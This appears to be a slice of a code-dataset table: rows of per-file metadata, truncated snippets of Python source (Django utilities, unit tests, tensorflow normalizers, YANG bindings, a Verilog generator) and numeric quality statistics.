| 15.666667 | 43 | 0.808511 | 16 | 94 | 4.625 | 0.8125 | 0.216216 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.025 | 0.148936 | 94 | 5 | 44 | 18.8 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0.37234 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.333333 | null | null | 0.666667 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 6 |
37f43250e1bdc15e48ee2ea8d089d5e8bd5639e9 | 13,415 | py | Python | saleor/utils.py | glosoftgroup/ps254-backend | f9c9d798ae8eba29a3a502c6913c2238c4d3906c | [
"BSD-3-Clause"
] | null | null | null | saleor/utils.py | glosoftgroup/ps254-backend | f9c9d798ae8eba29a3a502c6913c2238c4d3906c | [
"BSD-3-Clause"
] | 6 | 2021-02-08T20:20:06.000Z | 2022-03-11T23:18:59.000Z | saleor/utils.py | glosoftgroup/ps254-backend | f9c9d798ae8eba29a3a502c6913c2238c4d3906c | [
"BSD-3-Clause"
] | null | null | null | from django.http import HttpResponse
from django.template.loader import render_to_string
from django.template import RequestContext
from django.conf import settings
from django.template.loader import get_template
from xhtml2pdf import pisa
import cStringIO as StringIO
import cgi
import os
def render_to_pdf(template_sr... | 343.974359 | 11,997 | 0.95028 | 532 | 13,415 | 23.907895 | 0.789474 | 0.003931 | 0.004246 | 0.003774 | 0.004717 | 0 | 0 | 0 | 0 | 0 | 0 | 0.135628 | 0.014536 | 13,415 | 39 | 11,998 | 343.974359 | 0.826475 | 0.014387 | 0 | 0 | 0 | 0.033333 | 0.915096 | 0.909118 | 0 | 1 | 0 | 0 | 0 | 1 | 0.133333 | false | 0 | 0.3 | 0 | 0.6 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
37ffcef2a0e5474ac2a51c664fb8747cf6d4b493 | 3,325 | py | Python | tests/cli/test_docs.py | lfpll/great_expectations | f61fa7c2e6e813cd5ff84ab7403e05271cada257 | [
"Apache-2.0"
] | 1 | 2020-04-10T18:07:58.000Z | 2020-04-10T18:07:58.000Z | tests/cli/test_docs.py | lfpll/great_expectations | f61fa7c2e6e813cd5ff84ab7403e05271cada257 | [
"Apache-2.0"
] | null | null | null | tests/cli/test_docs.py | lfpll/great_expectations | f61fa7c2e6e813cd5ff84ab7403e05271cada257 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
import os
from click.testing import CliRunner
from great_expectations import DataContext
from great_expectations.cli import cli
from tests.cli.utils import assert_no_logging_messages_or_tracebacks
try:
from unittest import mock
except ImportError:
import mock
def test_docs_help_outp... | 36.141304 | 86 | 0.74797 | 475 | 3,325 | 4.934737 | 0.2 | 0.046075 | 0.051195 | 0.051195 | 0.874147 | 0.874147 | 0.847696 | 0.847696 | 0.847696 | 0.847696 | 0 | 0.003546 | 0.15188 | 3,325 | 91 | 87 | 36.538462 | 0.82766 | 0.006316 | 0 | 0.690141 | 0 | 0 | 0.179891 | 0.095094 | 0 | 0 | 0 | 0 | 0.394366 | 1 | 0.042254 | false | 0 | 0.112676 | 0 | 0.15493 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
530f54642d264c4dba3b8dc2f8bdd443d427845f | 81 | py | Python | l10n_br_nfe_import/wizard/__init__.py | kaoecoito/odoo-brasil | 6e019efc4e03b2e7be6ca51d08ace095240e0f07 | [
"MIT"
] | 181 | 2016-11-11T04:39:43.000Z | 2022-03-14T21:17:19.000Z | l10n_br_nfe_import/wizard/__init__.py | kaoecoito/odoo-brasil | 6e019efc4e03b2e7be6ca51d08ace095240e0f07 | [
"MIT"
] | 899 | 2016-11-14T02:42:56.000Z | 2022-03-29T20:47:39.000Z | l10n_br_nfe_import/wizard/__init__.py | kaoecoito/odoo-brasil | 6e019efc4e03b2e7be6ca51d08ace095240e0f07 | [
"MIT"
] | 227 | 2016-11-10T17:16:59.000Z | 2022-03-26T16:46:38.000Z | from . import import_nfe
from . import xml_import
from . import nfe_configuration | 27 | 31 | 0.82716 | 12 | 81 | 5.333333 | 0.416667 | 0.46875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.135802 | 81 | 3 | 31 | 27 | 0.914286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
5319e39b37120fa488be881b2f9cc69c49c274a8 | 25 | py | Python | tzevaadom/__init__.py | reinerstone/python-pikudHaoref-api | adc5e627078aafeb0cb78c1dd79afc2e351c7328 | [
"MIT"
] | 8 | 2021-05-12T08:56:42.000Z | 2022-02-07T13:39:11.000Z | tzevaadom/__init__.py | reinerstone/python-pikudHaoref-api | adc5e627078aafeb0cb78c1dd79afc2e351c7328 | [
"MIT"
] | null | null | null | tzevaadom/__init__.py | reinerstone/python-pikudHaoref-api | adc5e627078aafeb0cb78c1dd79afc2e351c7328 | [
"MIT"
] | 5 | 2021-05-11T19:20:40.000Z | 2021-10-08T11:57:49.000Z | from .tzevaadom import *
| 12.5 | 24 | 0.76 | 3 | 25 | 6.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.16 | 25 | 1 | 25 | 25 | 0.904762 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
532563112e55bae2a9817002579598c321527167 | 116 | py | Python | coca/utils/__init__.py | CISiPLab/cisip-GreenCap | 74c3f8461772016eec49840822f1407db4abe2b2 | [
"BSD-3-Clause"
] | 12 | 2021-03-06T13:33:51.000Z | 2022-03-09T06:38:14.000Z | coca/utils/__init__.py | CISiPLab/cisip-GreenCap | 74c3f8461772016eec49840822f1407db4abe2b2 | [
"BSD-3-Clause"
] | null | null | null | coca/utils/__init__.py | CISiPLab/cisip-GreenCap | 74c3f8461772016eec49840822f1407db4abe2b2 | [
"BSD-3-Clause"
] | 4 | 2021-12-05T07:26:22.000Z | 2022-03-31T08:36:31.000Z | # -*- coding: utf-8 -*-
"""
Created on 01 Aug 2020 18:12:28
@author: jiahuei
"""
from . import * # noqa: F401 F403
| 16.571429 | 34 | 0.594828 | 18 | 116 | 3.833333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.206522 | 0.206897 | 116 | 6 | 35 | 19.333333 | 0.543478 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
5364664ff0b809cefeca8d680b93330d85a5198c | 142 | py | Python | dgs/views.py | machakux/dgs | 46de3cdaced5e4afef46fa46c7a3303d53df0da0 | [
"Unlicense"
] | 6 | 2017-11-06T02:50:31.000Z | 2021-09-18T08:12:05.000Z | dgs/views.py | machakux/dgs | 46de3cdaced5e4afef46fa46c7a3303d53df0da0 | [
"Unlicense"
] | 5 | 2017-07-08T07:58:07.000Z | 2017-09-11T06:13:03.000Z | dgs/views.py | machakux/dgs | 46de3cdaced5e4afef46fa46c7a3303d53df0da0 | [
"Unlicense"
] | 2 | 2017-09-15T20:49:41.000Z | 2019-09-10T11:03:59.000Z | from rest_framework.routers import APIRootView as BaseAPIRootView
class APIRootView(BaseAPIRootView):
"""
API root
"""
pass
| 15.777778 | 65 | 0.711268 | 14 | 142 | 7.142857 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.21831 | 142 | 8 | 66 | 17.75 | 0.900901 | 0.056338 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
726196e4a518f064ac560d6fa9d475e2ee817e0c | 3,175 | py | Python | dmae/normalizers.py | larajuse/DMAE | 48fafdd257a8e172c66a67d2311120c481488513 | [
"MIT"
] | 8 | 2020-06-17T20:03:18.000Z | 2021-01-09T01:43:55.000Z | dmae/normalizers.py | juselara1/dmae | 48fafdd257a8e172c66a67d2311120c481488513 | [
"MIT"
] | 12 | 2021-01-28T06:35:25.000Z | 2022-03-12T00:54:32.000Z | dmae/normalizers.py | juselara1/dmae | 48fafdd257a8e172c66a67d2311120c481488513 | [
"MIT"
] | 3 | 2021-01-25T21:29:11.000Z | 2021-11-28T20:49:14.000Z | # -*- coding: utf-8 -*-
"""
The :mod:`dmae.normalizers` module implements some matrix normalization functions
in tensorflow.
"""
# Author: Juan S. Lara <julara@unal.edu.co>
# License: MIT
import tensorflow as _tf
def identity(X, eps):
"""
Identity normalization.
Parameters
----------
X : array-... | 22.048611 | 81 | 0.56378 | 383 | 3,175 | 4.516971 | 0.193211 | 0.062428 | 0.09711 | 0.104046 | 0.820809 | 0.780925 | 0.780925 | 0.780925 | 0.73815 | 0.73815 | 0 | 0.011791 | 0.305512 | 3,175 | 143 | 82 | 22.202797 | 0.772789 | 0.608189 | 0 | 0.424242 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.181818 | false | 0 | 0.030303 | 0 | 0.393939 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
728b6d6b79a00cb7d5a3225e24bf8c113c96f1f2 | 28 | py | Python | hyperevolve/__init__.py | fjhheras/hyperevolve | 3aaf20660fc83f0c854a977d2089e5d9c6ffda16 | [
"MIT"
] | null | null | null | hyperevolve/__init__.py | fjhheras/hyperevolve | 3aaf20660fc83f0c854a977d2089e5d9c6ffda16 | [
"MIT"
] | null | null | null | hyperevolve/__init__.py | fjhheras/hyperevolve | 3aaf20660fc83f0c854a977d2089e5d9c6ffda16 | [
"MIT"
] | null | null | null | from .hyperevolve import *
| 9.333333 | 26 | 0.75 | 3 | 28 | 7 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.178571 | 28 | 2 | 27 | 14 | 0.913043 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
72a9d90b8c02c52b7c09d334770f569f7d5901ed | 11,134 | py | Python | agent/indy_catalyst_agent/ledger/tests/test_indy.py | panickervinod/indy-catalyst | 1af47d17ca6d4fcf569f245ba221028abd03536b | [
"Apache-2.0"
] | 1 | 2019-03-18T13:10:05.000Z | 2019-03-18T13:10:05.000Z | agent/indy_catalyst_agent/ledger/tests/test_indy.py | panickervinod/indy-catalyst | 1af47d17ca6d4fcf569f245ba221028abd03536b | [
"Apache-2.0"
] | null | null | null | agent/indy_catalyst_agent/ledger/tests/test_indy.py | panickervinod/indy-catalyst | 1af47d17ca6d4fcf569f245ba221028abd03536b | [
"Apache-2.0"
] | null | null | null | import asyncio
import json
from unittest import mock
from asynctest import TestCase as AsyncTestCase
from asynctest import mock as async_mock
from indy_catalyst_agent.ledger.indy import (
IndyLedger,
GENESIS_TRANSACTION_PATH,
ClosedPoolError,
LedgerTransactionError,
)
class TestIndyLedger(AsyncTestC... | 36.149351 | 88 | 0.686097 | 1,360 | 11,134 | 5.183824 | 0.080882 | 0.080426 | 0.091348 | 0.114894 | 0.820567 | 0.774894 | 0.748652 | 0.735461 | 0.702553 | 0.677305 | 0 | 0.001606 | 0.216993 | 11,134 | 307 | 89 | 36.267101 | 0.807066 | 0 | 0 | 0.65 | 0 | 0 | 0.215107 | 0.153045 | 0 | 0 | 0 | 0 | 0.145833 | 1 | 0.004167 | false | 0 | 0.025 | 0 | 0.033333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
72b1282ecf80d631ff13e26b314d87c17742b701 | 25,478 | py | Python | vtr_flow/benchmarks/verilog/sep3/MatMulScale.py | aman26kbm/vtr-verilog-to-routin | 031c394d0b6454e0c66f3f86f7cb78c87538c375 | [
"MIT"
] | 1 | 2022-02-08T17:41:38.000Z | 2022-02-08T17:41:38.000Z | vtr_flow/benchmarks/verilog/sep3/MatMulScale.py | aman26kbm/vtr-verilog-to-routin | 031c394d0b6454e0c66f3f86f7cb78c87538c375 | [
"MIT"
] | 1 | 2020-06-20T17:35:41.000Z | 2020-06-20T17:36:48.000Z | vtr_flow/benchmarks/verilog/sep3/MatMulScale.py | aman26kbm/vtr-verilog-to-routin | 031c394d0b6454e0c66f3f86f7cb78c87538c375 | [
"MIT"
] | null | null | null | import sys
import os.path
from os import path
import pdb
data_width = 16
address_width = 7
mem_size = 128
#Sep 2: added flop to bram of c
def write_with_ram(file, basic_block_size, final_block_size):
#write the top module
num_of_bram = int(int(final_block_size)/int(basic_block_size))
num_of_IO = int(num_of_br... | 33.790451 | 136 | 0.572965 | 4,607 | 25,478 | 2.844801 | 0.032993 | 0.129788 | 0.084465 | 0.091561 | 0.87128 | 0.829391 | 0.806501 | 0.757516 | 0.720586 | 0.681215 | 0 | 0.034395 | 0.200055 | 25,478 | 753 | 137 | 33.835325 | 0.608655 | 0.32373 | 0 | 0.461722 | 0 | 0.028708 | 0.463785 | 0.215169 | 0 | 0 | 0 | 0 | 0 | 1 | 0.009569 | false | 0 | 0.009569 | 0 | 0.019139 | 0.007177 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
72d846a649f507eebcdacf4292e60cce90898b94 | 13,292 | py | Python | task_set/tasks/fixed/fixed_image_conv.py | egonrian/google-research | 8177adbe9ca0d7e5a9463b54581fe6dd27be0974 | [
"Apache-2.0"
] | 7 | 2020-03-15T12:14:07.000Z | 2021-12-01T07:01:09.000Z | task_set/tasks/fixed/fixed_image_conv.py | Alfaxad/google-research | 2c0043ecd507e75e2df9973a3015daf9253e1467 | [
"Apache-2.0"
] | 25 | 2020-07-25T08:53:09.000Z | 2022-03-12T00:43:02.000Z | task_set/tasks/fixed/fixed_image_conv.py | Alfaxad/google-research | 2c0043ecd507e75e2df9973a3015daf9253e1467 | [
"Apache-2.0"
] | 4 | 2021-02-08T10:25:45.000Z | 2021-04-17T14:46:26.000Z | # coding=utf-8
# Copyright 2020 The Google Research Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... | 35.731183 | 81 | 0.689663 | 1,682 | 13,292 | 5.156956 | 0.155172 | 0.047729 | 0.058335 | 0.074245 | 0.802283 | 0.789832 | 0.787295 | 0.782223 | 0.763892 | 0.761125 | 0 | 0.066603 | 0.209299 | 13,292 | 371 | 82 | 35.827493 | 0.758706 | 0.154905 | 0 | 0.694981 | 0 | 0 | 0.131196 | 0.105244 | 0 | 0 | 0 | 0.002695 | 0 | 1 | 0.104247 | false | 0 | 0.027027 | 0 | 0.235521 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
f43aff5a157bb3b50a070e8d061e843cc91945b8 | 49 | py | Python | libacbf/__init__.py | Grafcube/pyacbf | 021fad7d8d59d1abd40f0fe926d04f545fa50210 | [
"BSD-3-Clause"
] | null | null | null | libacbf/__init__.py | Grafcube/pyacbf | 021fad7d8d59d1abd40f0fe926d04f545fa50210 | [
"BSD-3-Clause"
] | null | null | null | libacbf/__init__.py | Grafcube/pyacbf | 021fad7d8d59d1abd40f0fe926d04f545fa50210 | [
"BSD-3-Clause"
] | 1 | 2021-08-23T15:19:34.000Z | 2021-08-23T15:19:34.000Z | from .libacbf import ACBFBook, get_book_template
| 24.5 | 48 | 0.857143 | 7 | 49 | 5.714286 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.102041 | 49 | 1 | 49 | 49 | 0.909091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
f45e0828f802e40418bb8e4d4101c1341e7415cf | 22,448 | py | Python | pybind/slxos/v16r_1_00b/brocade_interface_ext_rpc/__init__.py | shivharis/pybind | 4e1c6d54b9fd722ccec25546ba2413d79ce337e6 | [
"Apache-2.0"
] | null | null | null | pybind/slxos/v16r_1_00b/brocade_interface_ext_rpc/__init__.py | shivharis/pybind | 4e1c6d54b9fd722ccec25546ba2413d79ce337e6 | [
"Apache-2.0"
] | null | null | null | pybind/slxos/v16r_1_00b/brocade_interface_ext_rpc/__init__.py | shivharis/pybind | 4e1c6d54b9fd722ccec25546ba2413d79ce337e6 | [
"Apache-2.0"
] | 1 | 2021-11-05T22:15:42.000Z | 2021-11-05T22:15:42.000Z |
from operator import attrgetter
import pyangbind.lib.xpathhelper as xpathhelper
from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType, RestrictedClassType, TypedListType
from pyangbind.lib.yangtypes import YANGBool, YANGListType, YANGDynClass, ReferenceType
from pyangbind.lib.base import PybindBase
from d... | 64.320917 | 524 | 0.75784 | 3,207 | 22,448 | 5.054568 | 0.083255 | 0.054781 | 0.064466 | 0.032387 | 0.841579 | 0.820173 | 0.798581 | 0.787847 | 0.785379 | 0.779951 | 0 | 0.000514 | 0.132707 | 22,448 | 348 | 525 | 64.505747 | 0.832092 | 0.28644 | 0 | 0.433526 | 0 | 0.028902 | 0.363653 | 0.213851 | 0 | 0 | 0 | 0 | 0 | 1 | 0.104046 | false | 0 | 0.075145 | 0 | 0.300578 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
be35268db8ccffb49fec44da02ee43d5a2589f86 | 88 | py | Python | gunicorn.conf.py | dstaudt/home-automation-api-simulator | e70683d8a007a84bde1487d6b75f728052d9ed75 | [
"MIT"
] | null | null | null | gunicorn.conf.py | dstaudt/home-automation-api-simulator | e70683d8a007a84bde1487d6b75f728052d9ed75 | [
"MIT"
] | null | null | null | gunicorn.conf.py | dstaudt/home-automation-api-simulator | e70683d8a007a84bde1487d6b75f728052d9ed75 | [
"MIT"
] | null | null | null | import os
def on_starting(server):
with open('device_ids.log','w') as file: pass
| 12.571429 | 49 | 0.681818 | 15 | 88 | 3.866667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.181818 | 88 | 6 | 50 | 14.666667 | 0.805556 | 0 | 0 | 0 | 0 | 0 | 0.172414 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
be3c8a6feb25565ec0b321344824614e00460661 | 16,443 | py | Python | f5lbaasdriver/v2/bigip/test/test_agent_scheduler.py | Sinan828/mitaka_driver | 26a4cb147a1d531d487738a818493975ce808b4e | [
"Apache-2.0"
] | null | null | null | f5lbaasdriver/v2/bigip/test/test_agent_scheduler.py | Sinan828/mitaka_driver | 26a4cb147a1d531d487738a818493975ce808b4e | [
"Apache-2.0"
] | null | null | null | f5lbaasdriver/v2/bigip/test/test_agent_scheduler.py | Sinan828/mitaka_driver | 26a4cb147a1d531d487738a818493975ce808b4e | [
"Apache-2.0"
] | null | null | null | # Copyright 2016 F5 Networks Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writi... | 38.239535 | 79 | 0.677553 | 1,980 | 16,443 | 5.260606 | 0.098485 | 0.072389 | 0.057028 | 0.03629 | 0.825653 | 0.796467 | 0.773329 | 0.762865 | 0.741263 | 0.720718 | 0 | 0.009606 | 0.214985 | 16,443 | 429 | 80 | 38.328671 | 0.797335 | 0.036733 | 0 | 0.657658 | 0 | 0 | 0.171259 | 0.050809 | 0 | 0 | 0 | 0 | 0.093093 | 1 | 0.072072 | false | 0 | 0.018018 | 0 | 0.093093 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
bec798960b046575ba34748b589a3e50027eb1b0 | 470 | py | Python | applications/view/__init__.py | jobeckham7/pear-admin-flask | c2042d5f8054be289a363283345ea05f27e00ec4 | [
"MIT"
] | 5 | 2021-12-13T14:52:08.000Z | 2022-03-15T08:59:32.000Z | applications/view/__init__.py | jobeckham7/pear-admin-flask | c2042d5f8054be289a363283345ea05f27e00ec4 | [
"MIT"
] | null | null | null | applications/view/__init__.py | jobeckham7/pear-admin-flask | c2042d5f8054be289a363283345ea05f27e00ec4 | [
"MIT"
] | 1 | 2022-01-21T04:43:58.000Z | 2022-01-21T04:43:58.000Z | from applications.view.admin import register_admin_views
from applications.view.index import register_index_views
from applications.view.passport import register_passport_views
from applications.view.rights import register_rights_view
from applications.view.department import register_dept_views
def init_view(app):
... | 33.571429 | 62 | 0.846809 | 64 | 470 | 5.890625 | 0.234375 | 0.212202 | 0.265252 | 0.198939 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.104255 | 470 | 13 | 63 | 36.153846 | 0.895487 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0.181818 | 0.454545 | 0 | 0.545455 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
fe36fd00de6f169a22f38018be551ae71df93a95 | 6,262 | py | Python | estimagic/tests/differentiation/test_generate_steps.py | SofiaBadini/estimagic | ff4948dc4175cd690b3a021969c6119a6a619f96 | [
"BSD-3-Clause"
] | null | null | null | estimagic/tests/differentiation/test_generate_steps.py | SofiaBadini/estimagic | ff4948dc4175cd690b3a021969c6119a6a619f96 | [
"BSD-3-Clause"
] | null | null | null | estimagic/tests/differentiation/test_generate_steps.py | SofiaBadini/estimagic | ff4948dc4175cd690b3a021969c6119a6a619f96 | [
"BSD-3-Clause"
] | null | null | null | import numpy as np
import pytest
from numpy.testing import assert_array_almost_equal as aaae
from estimagic.differentiation.generate_steps import _calculate_or_validate_base_steps
from estimagic.differentiation.generate_steps import _fillna
from estimagic.differentiation.generate_steps import _rescale_to_accomodate_bo... | 33.486631 | 86 | 0.660811 | 990 | 6,262 | 3.907071 | 0.093939 | 0.057911 | 0.037229 | 0.077301 | 0.865822 | 0.830145 | 0.74819 | 0.713289 | 0.698035 | 0.67425 | 0 | 0.052912 | 0.191153 | 6,262 | 186 | 87 | 33.666667 | 0.71076 | 0 | 0 | 0.479167 | 1 | 0 | 0.025232 | 0 | 0 | 0 | 0 | 0 | 0.041667 | 1 | 0.090278 | false | 0 | 0.055556 | 0 | 0.145833 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
fe4432286f0baa72b5a087461153dac68647e84a | 7,234 | py | Python | segeval/similarity/distance/multipleboundary_test.py | cfournie/segmentation.evaluation | c4140b48112aac697aa7f05effe8026648ebc501 | [
"BSD-3-Clause"
] | 27 | 2015-03-22T23:06:47.000Z | 2022-01-21T23:21:05.000Z | segeval/similarity/distance/multipleboundary_test.py | cfournie/segmentation.evaluation | c4140b48112aac697aa7f05effe8026648ebc501 | [
"BSD-3-Clause"
] | 4 | 2015-03-12T18:27:08.000Z | 2019-10-24T13:09:31.000Z | segeval/similarity/distance/multipleboundary_test.py | cfournie/segmentation.evaluation | c4140b48112aac697aa7f05effe8026648ebc501 | [
"BSD-3-Clause"
] | 7 | 2015-03-12T18:29:27.000Z | 2019-01-25T08:52:05.000Z | '''
Tests multiple-boundary edit distance.
.. moduleauthor:: Chris Fournier <chris.m.fournier@gmail.com>
'''
from __future__ import absolute_import
import unittest
from segeval.similarity.distance.multipleboundary import (
boundary_edit_distance, __additions_substitutions__,
__additions_substitutions_sets__, _... | 42.304094 | 136 | 0.534421 | 834 | 7,234 | 4.442446 | 0.082734 | 0.231579 | 0.218623 | 0.158704 | 0.796221 | 0.784076 | 0.782996 | 0.747099 | 0.697166 | 0.625101 | 0 | 0.024733 | 0.262234 | 7,234 | 170 | 137 | 42.552941 | 0.669477 | 0.103677 | 0 | 0.450549 | 0 | 0 | 0.003094 | 0 | 0 | 0 | 0 | 0 | 0.153846 | 1 | 0.153846 | false | 0 | 0.032967 | 0 | 0.208791 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
